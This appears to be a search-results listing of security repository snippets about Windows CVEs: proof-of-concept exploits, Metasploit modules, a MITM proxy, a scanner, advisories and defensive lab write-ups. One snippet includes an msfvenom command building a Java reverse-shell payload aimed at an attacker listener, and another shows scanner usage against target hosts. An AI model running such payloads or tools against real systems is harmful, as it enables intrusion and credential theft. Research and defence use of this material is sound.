255817 matches found
CVE-2017-11882-Blocker
CVE-2017-11882-Blocker A Windows driver that neutralizes CVE-2017-11882 : How it works This project is split into a kernel driver and a user-mode notification component that talk over a custom device using the inverted call model. Kernel driver 1. Process callback - DriverEntry registers a...
PacketPirate
PacketPirate A headless , scriptable, command-line based MITM proxy designed for network traffic interception, analysis, and modification on Windows systems. It operates similarly to industry-standard GUI proxies but is optimized for automation environments, headless operation, and integration wi...
CVE-2025-24071
CVE-2025-24071 - Windows File Explorer NTLM Hash Leak 📋 Overview CVE-2025-24071 is a vulnerability in Windows File Explorer that allows unauthorized disclosure of NTLM hashes. When a user extracts a specially crafted .zip archive containing a malicious .library-ms file, Windows Explorer...
CVE-2024-0670
CVE-2024-0670 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abu...
CVE-2023-23397-POC
Two POCs I created for the CVE-2023-23397 NTLM vulnerability. Originally the pocs would send meeting requests with a reminder but I was able to send an email with a reminder that required no interaction from the user. The .ps1 file needs to be run from a compromised windows host with a compromise...
cve-2025-24054
CVE-2025-24071: NTLM Hash Leak via .library-ms File Metasploit Module This repository contains a Metasploit module to exploit CVE-2025-24071, a vulnerability in Windows Explorer that leaks NTLM hashes when a malicious .library-ms file is extracted from a ZIP archive. Developed by: FOLKS-IWD...
invoker
Invoker Penetration testing utility and antivirus assessment tool. Built with Visual Studio Community 2022 v17.5.4 64-bit and tested on Windows 10 Enterprise OS 64-bit. Made for educational purposes. I hope it will help! This repository started to have known signatures and I don't have time to...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py This server will...
CVE-2025-5548
Memory Corruption Research & Exploitation Lab CVE-2025-5548 Advanced Vulnerability Analysis on Windows 11 Environment English Version Project Overview This repository documents a professional-grade cybersecurity research project focused on CVE-2025-5548 : a Stack-based Buffer Overflow vulnerabili...
CLEANSTART-2026-WR32003 On Windows, when the target of Root
CVE-2026-56857 affects multiple packages. On Windows, when the target of Root. See references for individual vulnerability details...
CVE-2025-1974
cve-2025-1974-win11-attack-defense-lab Windows 11-first educational repository for studying CVE-2025-1974 in a safe, non-weaponized ATTACK + DEFENSE lab. The project is designed for university coursework, team demos, and report-ready screenshots. It emphasizes clean-room implementation, local-onl...
CVE-2026-33829-Writeup
CVE-2026-33829-Writeup Vulnerability Case Study: CVE-2026-33829 Windows Snipping Tool NTLM Coercion Executive Summary This write-up details the technical replication of CVE-2026-33829 , an information disclosure vulnerability within the modern Windows Snipping Tool application framework. By abusi...
CVE-2025-14847-PoC
CVE-2025-14847 Proof of Concept Academic & Defensive Research Notice This repository contains a proof-of-concept PoC developed strictly for academic analysis, defensive research, and vulnerability validation purposes. The objective of this project is to help security researchers, defenders, and...
From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack
From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...
SOC335-CVE-2024-49138-Investigation
SOC335 – CVE-2024-49138 Exploitation Investigation Overview This project documents a SOC investigation of a CVE-2024-49138 exploitation alert using the LetsDefend platform. The investigation involved analyzing network logs, researching indicators of compromise, determining whether suspicious...
Linux Distros Unpatched Vulnerability : CVE-2026-96644
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf...
PT-2026-121516
A 32-bit integer wraparound in the MongoDB C Driver's Windows-only Kerberos/SSPI authentication code can cause an undersized heap buffer to be allocated when an excessively long credential value is supplied in the client's connection configuration. A party able to control that client-side...
smbghost
SMBGhost Scanner CVE-2020-0796 SMBv3 vulnerability scanner SMBGhost. Detects vulnerable Windows hosts by sending a malformed SMBv3 negotiation packet and checking the response. Usage Single host python3 scanner.py -H 10.0.0.5 Host list python3 scanner.py -l targets.txt Network segment python3...
ms08-067
📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...